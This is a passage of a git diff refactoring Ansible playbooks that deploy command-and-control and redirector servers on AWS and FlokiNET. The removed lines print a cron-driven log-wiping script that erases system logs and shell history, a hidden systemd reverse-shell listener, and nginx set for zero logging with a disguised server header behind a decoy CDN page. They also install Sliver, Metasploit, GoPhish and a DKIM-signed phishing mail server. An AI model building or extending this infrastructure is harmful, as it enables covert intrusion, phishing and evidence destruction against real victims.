redirector SSH key file + file: + path: "~/.ssh/{{ redirector_name }}.pem" + state: absent + when: cleanup_redirector and redirector_name is defined and redirector_name != "" + + - name: Remove C2 SSH key file + file: + path: "~/.ssh/{{ c2_name }}.pem" + state: absent + when: cleanup_c2 and c2_name is defined and c2_name != "" + + - name: Cleanup complete message + debug: + msg: + - "AWS infrastructure cleanup complete!" + - "Resources that were cleaned up:" + - "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}" + - "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}" \ No newline at end of file diff --git a/AWS/redirector.yml b/AWS/redirector.yml index 365adb4..7fe0e87 100644 --- a/AWS/redirector.yml +++ b/AWS/redirector.yml @@ -1,476 +1,138 @@ --- -- name: Deploy AWS redirector server +# AWS Redirector-only Deployment Playbook + +- name: Deploy AWS redirector hosts: localhost gather_facts: false connection: local + vars_files: + - vars.yaml vars: - region: "{{ aws_region | default('us-east-1') }}" - instance_type: "{{ size | default('t2.medium') }}" - instance_name: "{{ redirector_name | default('redirector') }}" - domain: "{{ domain | default('example.com') }}" - redirector_subdomain: "cdn" + # Default values for required variables + ssh_user: "{{ ssh_user | default('kali') }}" + aws_region: "{{ aws_region | default(aws_region_choices | random) }}" + instance_type: "{{ aws_instance_type | default('t2.micro') }}" + + # Generate random instance name if not provided + redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}" + + # Generate random shell handler port if not provided + shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" tasks: - - name: Set a random AWS region if not specified - set_fact: - selected_aws_region: "{{ aws_region_choices | random }}" - when: aws_region is not defined - - - name: Create an EC2 key pair + - name: Validate required AWS credentials + assert: + that: + - aws_access_key is defined and aws_access_key != "" + - aws_secret_key is defined and aws_secret_key != "" + fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key." + + - name: Create EC2 key pair for redirector amazon.aws.ec2_key: - name: "{{ instance_name }}" - region: "{{ region }}" + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + name: "{{ redirector_name }}" + region: "{{ aws_region }}" state: present - register: key_pair + register: redirector_key_pair - name: Save private key locally copy: - content: "{{ key_pair.key.private_key }}" - dest: "~/.ssh/{{ instance_name }}.pem" + content: "{{ redirector_key_pair.key.private_key }}" + dest: "~/.ssh/{{ redirector_name }}.pem" mode: "0600" - when: key_pair.changed + when: redirector_key_pair.changed and redirector_key_pair.key.private_key is defined - - name: Create security group for redirector + - name: Create a security group for the redirector amazon.aws.ec2_group: - name: "{{ instance_name }}-sg" - description: "Security group for redirector" - region: "{{ region }}" + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + name: "{{ redirector_name }}-sg" + description: "Security group for redirector {{ redirector_name }}" + region: "{{ aws_region }}" rules: - proto: tcp - ports: + ports: - 22 - 80 - 443 - - 4444 # Shell handler port + - "{{ shell_handler_port }}" cidr_ip: 0.0.0.0/0 rules_egress: - proto: -1 cidr_ip: 0.0.0.0/0 - register: redirector_sg + register: redirector_sg_result - name: Launch redirector EC2 instance amazon.aws.ec2_instance: - name: "{{ instance_name }}" - region: "{{ region }}" - image_id: "{{ ami_map[region] }}" + access_key: "{{ aws_access_key }}" + secret_key: "{{ aws_secret_key }}" + region: "{{ aws_region }}" + name: "{{ redirector_name }}" + image_id: "{{ ami_map[aws_region] }}" instance_type: "{{ instance_type }}" - key_name: "{{ instance_name }}" - security_group: "{{ redirector_sg.group_id }}" - network: - assign_public_ip: true - tags: - Name: "{{ instance_name }}" - Role: "redirector" + key_name: "{{ redirector_name }}" + security_groups: + - "{{ redirector_name }}-sg" wait: yes + tags: + Name: "{{ redirector_name }}" + Role: "redirector" register: redirector_instance - - name: Save redirector IP + - name: Set redirector_ip for later use set_fact: redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}" + redirector_instance_id: "{{ redirector_instance.instances[0].instance_id }}" - - name: Wait for SSH to become available + - name: Wait for redirector SSH to be available wait_for: host: "{{ redirector_ip }}" port: 22 - delay: 10 + delay: 30 timeout: 300 state: started - name: Add redirector to inventory add_host: - name: redirector + name: "redirector" + groups: "redirectors" ansible_host: "{{ redirector_ip }}" - ansible_user: "{{ ssh_user | default('kali') }}" - ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem" - groups: redirectors + ansible_user: "{{ ssh_user }}" + ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -- name: Configure redirector +- name: Configure redirector server hosts: redirectors become: true + gather_facts: true + vars_files: + - vars.yaml vars: - domain: "{{ domain | default('example.com') }}" - redirector_subdomain: "cdn" - letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" - zero_logs: "{{ zero_logs | default(true) }}" - shell_handler_port: 4444 - c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" - + c2_ip: "{{ c2_ip | default('127.0.0.1') }}" + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" tasks: - - name: Update apt cache + - name: Wait for apt to be available apt: update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Include common redirector configuration tasks + include_tasks: "../tasks/configure_redirector.yml" + + - name: Include common security hardening tasks + include_tasks: "../tasks/security_hardening.yml" - - name: Install required packages - apt: - name: - - nginx - - certbot - - python3-certbot-nginx - - socat - - netcat-openbsd - - cryptsetup - - secure-delete - state: present - - - name: Create directories for OPSEC scripts - file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/shell-handler - - - name: Create clean-logs.sh script - copy: - content: | - #!/bin/bash - # Zero-logs maintenance script - umask 077 - - # Disable syslog temporarily - systemctl stop rsyslog 2>/dev/null - systemctl stop systemd-journald 2>/dev/null - - # Clear system logs - find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; - find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; - find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; - journalctl --vacuum-time=1s 2>/dev/null - - # Clear bash history - for histfile in /root/.bash_history /home/*/.bash_history; do - [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null - done - history -c - - # Clear NGINX logs - for nginx_log in /var/log/nginx/*; do - [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null - done - - # Clear temporary directories - rm -rf /tmp/* /var/tmp/* 2>/dev/null - - # Restart logging services - systemctl start systemd-journald 2>/dev/null - systemctl start rsyslog 2>/dev/null - - echo "[+] Log cleaning complete" - exit 0 - dest: /opt/c2/clean-logs.sh - mode: '0700' - owner: root - group: root - - - name: Create shell handler script - copy: - content: | - #!/bin/bash - # Automated shell handler for catching and upgrading reverse shells - - # Configuration - LISTEN_PORT={{ shell_handler_port }} - C2_HOST="{{ c2_ip }}" - - # Set secure permissions - umask 077 - - # Logging function - log() { - local timestamp=$(date +"%Y-%m-%d %H:%M:%S") - local message="$1" - echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc - } - - # Detect OS function - detect_os() { - local connection=$1 - - # Send commands to determine OS - echo "echo \$OSTYPE" > $connection - sleep 1 - ostype=$(cat $connection | grep -i "linux\|darwin\|win") - - if [[ $ostype == *"win"* ]]; then - echo "windows" - elif [[ $ostype == *"darwin"* ]]; then - echo "macos" - elif [[ $ostype == *"linux"* ]]; then - echo "linux" - else - # Try Windows-specific command - echo "ver" > $connection - sleep 1 - winver=$(cat $connection | grep -i "microsoft windows") - - if [[ -n "$winver" ]]; then - echo "windows" - else - # Default to Linux if we can't determine - echo "linux" - fi - fi - } - - # Main shell handler loop - handle_connections() { - log "Shell handler started on port $LISTEN_PORT" - - # Use mkfifo for bidirectional communication - PIPE_PATH="/tmp/shell_handler_pipe" - trap 'rm -f $PIPE_PATH' EXIT - - while true; do - # Clean up existing pipe - rm -f $PIPE_PATH - mkfifo $PIPE_PATH - - log "Waiting for incoming connection..." - nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & - NC_PID=$! - - # Wait for connection - wait $NC_PID - log "Connection closed, restarting listener..." - rm -f $PIPE_PATH.output - done - } - - # Start the shell handler - handle_connections - dest: /opt/shell-handler/persistent-listener.sh - mode: '0700' - owner: root - group: root - - - name: Create shell handler service - copy: - content: | - [Unit] - Description=Reverse Shell Handler Service - After=network.target - - [Service] - Type=simple - User=root - Group=root - ExecStart=/opt/shell-handler/persistent-listener.sh - Restart=always - RestartSec=10 - - # Hide process information - PrivateTmp=true - ProtectSystem=full - NoNewPrivileges=true - - # Make shell handler hard to find - StandardOutput=null - StandardError=null - - # Environment variables - Environment="C2_HOST={{ c2_ip }}" - Environment="LISTEN_PORT={{ shell_handler_port }}" - - [Install] - WantedBy=multi-user.target - dest: /etc/systemd/system/shell-handler.service - mode: '0644' - owner: root - group: root - - - name: Configure NGINX for zero-logging - copy: - content: | - user www-data; - worker_processes auto; - pid /run/nginx.pid; - include /etc/nginx/modules-enabled/*.conf; - - events { - worker_connections 1024; - multi_accept on; - } - - http { - # Basic Settings - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - server_tokens off; - - # MIME - include /etc/nginx/mime.types; - default_type application/octet-stream; - - # Zero-logs configuration - access_log off; - error_log /dev/null crit; - - # SSL Settings - ssl_protocols TLSv1.2 TLSv1.3; - ssl_prefer_server_ciphers on; - ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; - - # Headers to confuse fingerprinting - more_set_headers 'Server: Microsoft-IIS/8.5'; - - # Virtual Host Configs - include /etc/nginx/conf.d/*.conf; - include /etc/nginx/sites-enabled/*; - } - dest: /etc/nginx/nginx.conf - mode: '0644' - owner: root - group: root - when: zero_logs|bool - - - name: Configure NGINX default site for C2 redirection - copy: - content: | - server { - listen 80; - listen [::]:80; - server_name {{ redirector_subdomain }}.{{ domain }}; - - # Redirect to HTTPS - return 301 https://$host$request_uri; - } - - server { - listen 443 ssl; - listen [::]:443 ssl; - server_name {{ redirector_subdomain }}.{{ domain }}; - - # SSL Configuration (self-signed until Let's Encrypt is set up) - ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; - ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; - - # Root directory - root /var/www/html; - index index.html; - - # Special URI patterns for C2 traffic - location /ajax/ { - proxy_pass http://{{ c2_ip }}:8888; - proxy_http_version 1.1; - proxy_set_header Host $host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - } - - # Default location - location / { - try_files $uri $uri/ =404; - } - - # Disable logging for this server block - access_log off; - error_log /dev/null crit; - } - - # Catch-all server block - server { - listen 80 default_server; - listen [::]:80 default_server; - - # Redirect all unknown traffic to a legitimate-looking site - return 301 https://www.google.com; - - # Disable logs - access_log off; - error_log /dev/null crit; - } - dest: /etc/nginx/sites-available/default - mode: '0644' - owner: root - group: root - - - name: Create legitimate-looking index.html - copy: - content: | - - - - - - {{ redirector_subdomain }} - Content Delivery Network - - - -
-

{{ redirector_subdomain }}.{{ domain }}

-

Enterprise Content Delivery Network

-
- -
-
-

Welcome to Our CDN

-

This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.

-

This is a private service. Unauthorized access is prohibited.

-
-
- - - dest: /var/www/html/index.html - mode: '0644' - owner: www-data - group: www-data - - - name: Start and enable shell handler service - systemd: - name: shell-handler - state: started - enabled: yes - daemon_reload: yes - - - name: Set up cron job for log cleaning - cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - when: zero_logs|bool - - - name: Install Let's Encrypt certificate if domain specified - shell: | - certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} - args: - creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem - when: domain != "example.com" - - - name: Restart NGINX - systemd: - name: nginx - state: restarted \ No newline at end of file + - name: Print deployment summary + debug: + msg: + - "Redirector Deployment Complete!" + - "-------------------------------" + - "Redirector IP: {{ ansible_host }}" + - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)" + - "Shell Handler Port: {{ shell_handler_port }}" + - "SSH Key: ~/.ssh/{{ redirector_name }}.pem" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/FlokiNET/c2.yml b/FlokiNET/c2.yml index c29c4ce..26ad55f 100644 --- a/FlokiNET/c2.yml +++ b/FlokiNET/c2.yml @@ -1,410 +1,101 @@ --- -- name: Configure FlokiNET C2 server - hosts: c2 +# FlokiNET C2-only Configuration Playbook +# Note: FlokiNET requires pre-provisioned servers + +- name: Prepare FlokiNET C2 configuration + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + c2_subdomain: "{{ c2_subdomain | default('mail') }}" + + tasks: + - name: Validate required FlokiNET configuration + assert: + that: + - c2_ip is defined and c2_ip != "" + fail_msg: "FlokiNET requires C2 IP address. Set c2_ip in vars.yaml or via --flokinet-c2-ip." + + - name: Add C2 to inventory + add_host: + name: "c2" + groups: "c2servers" + ansible_host: "{{ c2_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_port: "{{ ssh_port | default(22) }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + + - name: Verify SSH connection to C2 + wait_for: + host: "{{ c2_ip }}" + port: "{{ ssh_port | default(22) }}" + delay: 10 + timeout: 60 + state: started + ignore_errors: true + +- name: Provision FlokiNET C2 server + hosts: c2servers + become: true gather_facts: true vars_files: - vars.yaml tasks: - - name: Install C2 framework and required packages - ansible.builtin.apt: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Set hostname + hostname: + name: "c2" + + - name: Update apt cache + apt: + update_cache: yes + + - name: Upgrade all packages + apt: + upgrade: dist + + - name: Install base security packages + apt: name: + - apt-transport-https + - ca-certificates - curl - - wget - - git - - python3-pip - - python3-virtualenv - - tmux - - nmap - - tcpdump - - hydra - - john - - hashcat - - sqlmap - - gobuster - - dirb - - enum4linux - - dnsenum - - seclists - - responder - - golang - - proxychains - - tor - - jq - - unzip - - postfix - - certbot - - opendkim - - opendkim-tools - - dovecot-core - - dovecot-imapd - - dovecot-pop3d - - dovecot-sieve - - dovecot-managesieved - - yq + - gnupg + - lsb-release + - unattended-upgrades + - ufw + - fail2ban + - secure-delete state: present - become: true - - name: Add UFW rules for C2 server (internal only) - ansible.builtin.ufw: - rule: allow - port: "{{ item.port }}" - proto: "{{ item.proto }}" - from_ip: "{{ redirector_ip }}" - with_items: - - { port: 8888, proto: tcp } # C2 HTTP listener - - { port: 50051, proto: tcp } # Sliver gRPC - - { port: 31337, proto: tcp } # Sliver console - - { port: 8443, proto: tcp } # Beacon server - become: true + - name: Include common security hardening tasks + include_tasks: "../tasks/security_hardening.yml" - - name: Create directories for C2 operation - ansible.builtin.file: - path: "{{ item }}" - state: directory - mode: '0700' - owner: root - group: root - with_items: - - /opt/c2 - - /opt/beacons - - /opt/payloads - - /root/Tools - become: true - - - name: Copy operational scripts for C2 - ansible.builtin.copy: - src: "../files/{{ item }}" - dest: "/opt/c2/{{ item }}" - mode: '0700' - owner: root - group: root - with_items: - - clean-logs.sh - - secure-exit.sh - - serve-beacons.sh - become: true - - # Tool Installation - - name: Ensure pipx path is configured - ansible.builtin.shell: | - pipx ensurepath - become: true - args: - executable: /bin/bash - - - name: Install tools via pipx - ansible.builtin.shell: | - export PATH=$PATH:/root/.local/bin - pipx ensurepath - pipx install git+https://github.com/Pennyw0rth/NetExec - pipx install git+https://github.com/blacklanternsecurity/TREVORspray - pipx install impacket - become: true - args: - executable: /bin/bash - - - name: Download Kerbrute - ansible.builtin.shell: | - mkdir -p /root/Tools/Kerbrute - wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /root/Tools/Kerbrute/kerbrute - chmod +x /root/Tools/Kerbrute/kerbrute - become: true - args: - executable: /bin/bash - - - name: Clone SharpCollection nightly builds - ansible.builtin.git: - repo: https://github.com/Flangvik/SharpCollection.git - dest: /root/Tools/SharpCollection - version: master - become: true - - - name: Clone PEASS-ng - ansible.builtin.git: - repo: https://github.com/carlospolop/PEASS-ng.git - dest: /root/Tools/PEASS-ng - become: true - - - name: Clone MailSniper - ansible.builtin.git: - repo: https://github.com/dafthack/MailSniper.git - dest: /root/Tools/MailSniper - become: true - - - name: Clone Inveigh - ansible.builtin.git: - repo: https://github.com/Kevin-Robertson/Inveigh.git - dest: /root/Tools/Inveigh - become: true - - # C2 Framework Installation - - name: Install Sliver C2 framework - ansible.builtin.shell: | - curl https://sliver.sh/install | bash - args: - creates: /usr/local/bin/sliver-server - become: true - - - name: Configure Sliver service - ansible.builtin.template: - src: templates/sliver-server.service.j2 - dest: /etc/systemd/system/sliver.service - owner: root - group: root - mode: '0644' - become: true - - - name: Start and enable Sliver service - ansible.builtin.systemd: - name: sliver - state: started - enabled: yes - daemon_reload: yes - become: true - - - name: Install Metasploit Framework - ansible.builtin.shell: | - curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall - chmod 755 /tmp/msfinstall - /tmp/msfinstall - rm /tmp/msfinstall - args: - creates: /opt/metasploit-framework/bin/msfconsole - become: true - - # GoPhish Installation - - name: Grab GoPhish - ansible.builtin.shell: | - curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -O /root/Tools/gophish.zip - unzip /root/Tools/gophish.zip -d /root/Tools/gophish - rm -rf /root/Tools/gophish.zip - chmod +x /root/Tools/gophish/gophish - become: true - args: - executable: /bin/bash - creates: /root/Tools/gophish/gophish - - - name: Deploy Gophish config.json with custom admin port - ansible.builtin.template: - src: templates/gophish-config.j2 - dest: /root/Tools/gophish/config.json - owner: root - group: root - mode: '0644' - become: true - vars: - gophish_admin_port: "{{ gophish_admin_port }}" - domain: "{{ domain }}" - - # Mail Server Configuration - - name: Configure Postfix main.cf - ansible.builtin.lineinfile: - path: /etc/postfix/main.cf - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - with_items: - - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" } - - { regexp: '^mydomain', line: "mydomain = {{ domain }}" } - - { regexp: '^myorigin', line: "myorigin = $mydomain" } - - { regexp: '^inet_interfaces', line: "inet_interfaces = all" } - - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" } - - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" } - - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" } - - { regexp: '^relay_domains', line: "relay_domains = $mydestination" } - - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" } - - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" } - - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" } - - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" } - - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" } - - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" } - - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" } - - { regexp: '^milter_default_action', line: "milter_default_action = accept" } - - { regexp: '^milter_protocol', line: "milter_protocol = 6" } - - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } - - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" } - become: true - - - name: Configure OpenDKIM - ansible.builtin.lineinfile: - path: /etc/opendkim.conf - regexp: "{{ item.regexp }}" - line: "{{ item.line }}" - with_items: - - { regexp: '^Domain', line: "Domain {{ domain }}" } - - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" } - - { regexp: '^Selector', line: "Selector mail" } - - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" } - - { regexp: '^Syslog', line: "Syslog yes" } - - { regexp: '^UMask', line: "UMask 002" } - - { regexp: '^Mode', line: "Mode sv" } - become: true - - - name: Create DKIM directory - ansible.builtin.file: - path: /etc/opendkim/keys/{{ domain }} - state: directory - owner: opendkim - group: opendkim - mode: 0700 - become: true - - - name: Generate DKIM keys - ansible.builtin.command: > - opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail - args: - creates: /etc/opendkim/keys/{{ domain }}/mail.private - become: true - - - name: Set permissions for DKIM keys - ansible.builtin.file: - path: /etc/opendkim/keys/{{ domain }}/mail.private - owner: opendkim - group: opendkim - mode: 0600 - become: true - - - name: Configure OpenDKIM TrustedHosts - ansible.builtin.copy: - content: | - 127.0.0.1 - ::1 - localhost - {{ domain }} - dest: /etc/opendkim/TrustedHosts - owner: opendkim - group: opendkim - mode: 0644 - become: true - - - name: Enable submission port (587) in master.cf - ansible.builtin.blockinfile: - path: /etc/postfix/master.cf - insertafter: '^#submission' - block: | - submission inet n - y - - smtpd - -o syslog_name=postfix/submission - -o smtpd_tls_security_level=encrypt - -o smtpd_sasl_auth_enable=yes - -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject - -o smtpd_relay_restrictions=permit_sasl_authenticated,reject - become: true - - - name: Configure Dovecot for Postfix SASL - ansible.builtin.blockinfile: - path: /etc/dovecot/conf.d/10-master.conf - insertafter: '^service auth {' - block: | - # Postfix smtp-auth - unix_listener /var/spool/postfix/private/auth { - mode = 0660 - user = postfix - group = postfix - } - become: true - - - name: Set Dovecot auth_mechanisms - ansible.builtin.lineinfile: - path: /etc/dovecot/conf.d/10-auth.conf - regexp: '^auth_mechanisms' - line: 'auth_mechanisms = plain login' - become: true - - - name: Create Dovecot password file for SASL authentication - ansible.builtin.file: - path: /etc/dovecot/passwd - state: touch - mode: '0600' - owner: dovecot - group: dovecot - become: true - - - name: Add SMTP auth user to Dovecot - ansible.builtin.lineinfile: - path: /etc/dovecot/passwd - line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}" - become: true - - - name: Disable system auth and use passwd-file - ansible.builtin.lineinfile: - path: /etc/dovecot/conf.d/10-auth.conf - regexp: '^!include auth-system.conf.ext' - line: '#!include auth-system.conf.ext' - become: true - - - name: Add auth-passwdfile configuration - ansible.builtin.blockinfile: - path: /etc/dovecot/conf.d/10-auth.conf - insertafter: '^auth_mechanisms =' - block: | - passdb { - driver = passwd-file - args = scheme=sha512_crypt /etc/dovecot/passwd - } - userdb { - driver = static - args = uid=vmail gid=vmail home=/var/vmail/%u - } - become: true - - - name: Create vmail group - ansible.builtin.group: - name: vmail - gid: 5000 - state: present - become: true - - - name: Create vmail user - ansible.builtin.user: - name: vmail - uid: 5000 - group: vmail - create_home: no - become: true - - - name: Restart Postfix - ansible.builtin.service: - name: postfix - state: restarted - become: true - - - name: Restart Dovecot - ansible.builtin.service: - name: dovecot - state: restarted - become: true - - # Beacon Server Configuration - - name: Configure beacon server - ansible.builtin.shell: | - sed -i "s/C2_HOST=.*$/C2_HOST=\"{{ c2_ip }}\"/g" /opt/c2/serve-beacons.sh - chmod +x /opt/c2/serve-beacons.sh - nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 & - become: true - - # Set up cron job for log cleaning - - name: Set up cron job for log cleaning - ansible.builtin.cron: - name: "Clean logs" - minute: "0" - hour: "*/6" - job: "/opt/c2/clean-logs.sh > /dev/null 2>&1" - become: true - when: zero_logs|bool - - # Install Let's Encrypt certificate if domain specified - - name: Install Let's Encrypt certificate - ansible.builtin.command: > - certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} - args: - creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem - become: true - when: domain != "example.com" - - - name: Display C2 server setup information - ansible.builtin.debug: + - name: Include common tool installation tasks + include_tasks: "../tasks/install_tools.yml" + + - name: Include common C2 configuration tasks + include_tasks: "../tasks/configure_c2.yml" + + - name: Include common mail server configuration tasks + include_tasks: "../tasks/configure_mail.yml" + + - name: Print deployment summary + debug: msg: - - "C2 server setup completed!" - - "IP Address: {{ ansible_host }}" - - "Domain: {{ c2_subdomain }}.{{ domain }}" - - "Sliver C2 listening on port 8888" - - "Beacons server available at http://{{ ansible_host }}:8443/" \ No newline at end of file + - "C2 Server Configuration Complete!" + - "-------------------------------" + - "C2 Server IP: {{ ansible_host }}" + - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)" + - "GoPhish Admin Port: {{ gophish_admin_port }}" + when: not disable_summary | default(false) \ No newline at end of file diff --git a/FlokiNET/cleanup.yml b/FlokiNET/cleanup.yml new file mode 100644 index 0000000..e69de29 diff --git a/FlokiNET/redirector.yml b/FlokiNET/redirector.yml index 8b3225d..f419f24 100644 --- a/FlokiNET/redirector.yml +++ b/FlokiNET/redirector.yml @@ -1,118 +1,97 @@ --- -- name: Configure FlokiNET redirector server - hosts: redirector +# FlokiNET Redirector-only Configuration Playbook +# Note: FlokiNET requires pre-provisioned servers + +- name: Prepare FlokiNET redirector configuration + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + # Generate random shell handler port if not provided + shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}" + redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}" + + tasks: + - name: Validate required FlokiNET configuration + assert: + that: + - redirector_ip is defined and redirector_ip != "" + fail_msg: "FlokiNET requires redirector IP address. Set redirector_ip in vars.yaml or via --flokinet-redirector-ip." + + - name: Add redirector to inventory + add_host: + name: "redirector" + groups: "redirectors" + ansible_host: "{{ redirector_ip }}" + ansible_user: "{{ ssh_user | default('root') }}" + ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}" + ansible_ssh_port: "{{ ssh_port | default(22) }}" + ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" + + - name: Verify SSH connection to redirector + wait_for: + host: "{{ redirector_ip }}" + port: "{{ ssh_port | default(22) }}" + delay: 10 + timeout: 60 + state: started + ignore_errors: true + +- name: Provision FlokiNET redirector + hosts: redirectors + become: true gather_facts: true vars_files: - vars.yaml tasks: - - name: Install Nginx and required packages - ansible.builtin.apt: + - name: Wait for apt to be available + apt: + update_cache: yes + register: apt_result + until: apt_result is success + retries: 5 + delay: 10 + + - name: Set hostname + hostname: + name: "redirector" + + - name: Update apt cache + apt: + update_cache: yes + + - name: Upgrade all packages + apt: + upgrade: dist + + - name: Install base security packages + apt: name: - - nginx - - certbot - - python3-certbot-nginx - - socat - - netcat-openbsd - - cryptsetup + - apt-transport-https + - ca-certificates + - curl + - gnupg + - lsb-release + - unattended-upgrades + - ufw + - fail2ban - secure-delete - - jq state: present - become: true - - name: Add UFW rules for redirector - ansible.builtin.ufw: - rule: allow - port: "{{ item }}" - proto: tcp - with_items: - - 80 - - 443 - - "{{ shell_handler_port }}" - become: true + - name: Include common security hardening tasks + include_tasks: "../tasks/security_hardening.yml" - - name: Setup directory for shell handler - ansible.builtin.file: - path: /opt/shell-handler - state: directory - mode: '0700' - owner: root - group: root - become: true + - name: Include common redirector configuration tasks + include_tasks: "../tasks/configure_redirector.yml" - - name: Copy shell handler script - ansible.builtin.copy: - src: "../files/persistent-listener.sh" - dest: "/opt/shell-handler/persistent-listener.sh" - mode: '0700' - owner: root - group: root - become: true - - - name: Configure shell handler service - ansible.builtin.template: - src: templates/shell-handler.service.j2 - dest: /etc/systemd/system/shell-handler.service - owner: root - group: root - mode: '0644' - become: true - - - name: Configure NGINX for zero-logging - ansible.builtin.template: - src: templates/nginx.conf.j2 - dest: /etc/nginx/nginx.conf - owner: root - group: root - mode: '0644' - become: true - - - name: Configure NGINX default site for C2 redirection - ansible.builtin.template: - src: templates/default-site.j2 - dest: /etc/nginx/sites-available/default - owner: root - group: root - mode: '0644' - vars: - domain: "{{ redirector_subdomain }}.{{ domain }}" - c2_host: "{{ c2_ip }}" - become: true - - - name: Create index.html for legitimate-looking website - ansible.builtin.template: - src: templates/index.html.j2 - dest: /var/www/html/index.html - owner: www-data - group: www-data - mode: '0644' - become: true - - - name: Start and enable shell handler service - ansible.builtin.systemd: - name: shell-handler - state: started - enabled: yes - daemon_reload: yes - become: true - - - name: Install Let's Encrypt certificate if domain specified - ansible.builtin.command: > - certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }} - args: - creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem - become: true - when: domain != "example.com" - - - name: Restart Nginx - ansible.builtin.service: - name: nginx - state: restarted - become: true - - - name: Display redirector setup information - 